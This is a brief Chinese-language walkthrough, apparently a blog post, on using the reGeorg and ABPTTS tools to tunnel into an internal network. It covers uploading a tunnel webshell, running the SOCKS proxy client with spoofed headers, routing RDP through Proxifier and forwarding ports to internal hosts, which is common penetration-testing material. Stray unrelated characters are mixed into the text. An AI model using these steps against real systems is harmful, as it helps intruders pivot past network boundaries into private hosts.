一柜蜈、reGeorg
下載地址：https://github.com/gorgiaxx/reGeorg
- 上傳webshell并訪問
http://1.1.1.1:8888/tunnel.jsp
image.png
- 本地運行reGeorgSocksProxy.py
python reGeorgSocksProxy.py -p 4444 -u http://1.1.1.1:8888/tunnel.jsp
python reGeorgSocksProxy.py -p 8080 -r 4096 -w 4096 -u http://1.1.1.1:8000/hackable/uploads/tunnel.php --custom-headers "{'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Referer': 'www.baidu.com'}"
image.png
- 配置Proxifier
添加服務(wù)器server：
image.png
添加規(guī)則rule，設(shè)置成默認(rèn)拒絕：
image.png
- 配置完成后，mstsc.exe打開方式選擇Proxifier哼鬓，然后輸入內(nèi)網(wǎng)ip即可連接目標(biāo)服務(wù)器
image.png
二、ABPTTS
下載地址：https://github.com/nccgroup/ABPTTS.git
- 下載并配置ABPTTS
python2 -m pip install pycrypto
python2 -m pip install httplib2
git clone https://github.com/nccgroup/ABPTTS.git
python abpttsfactory.py -o webshell
- 上傳webshell并訪問
image.png
- 訪問本機(jī)的1080端口屋摇，相當(dāng)于訪問目標(biāo)的80端口
python abpttsclient.py -c webshell/config.txt -u "http://1.1.1.1:8080/abptts/abptts.jsp" -f 192.168.80.218:1080/192.168.111.4:80
image.png
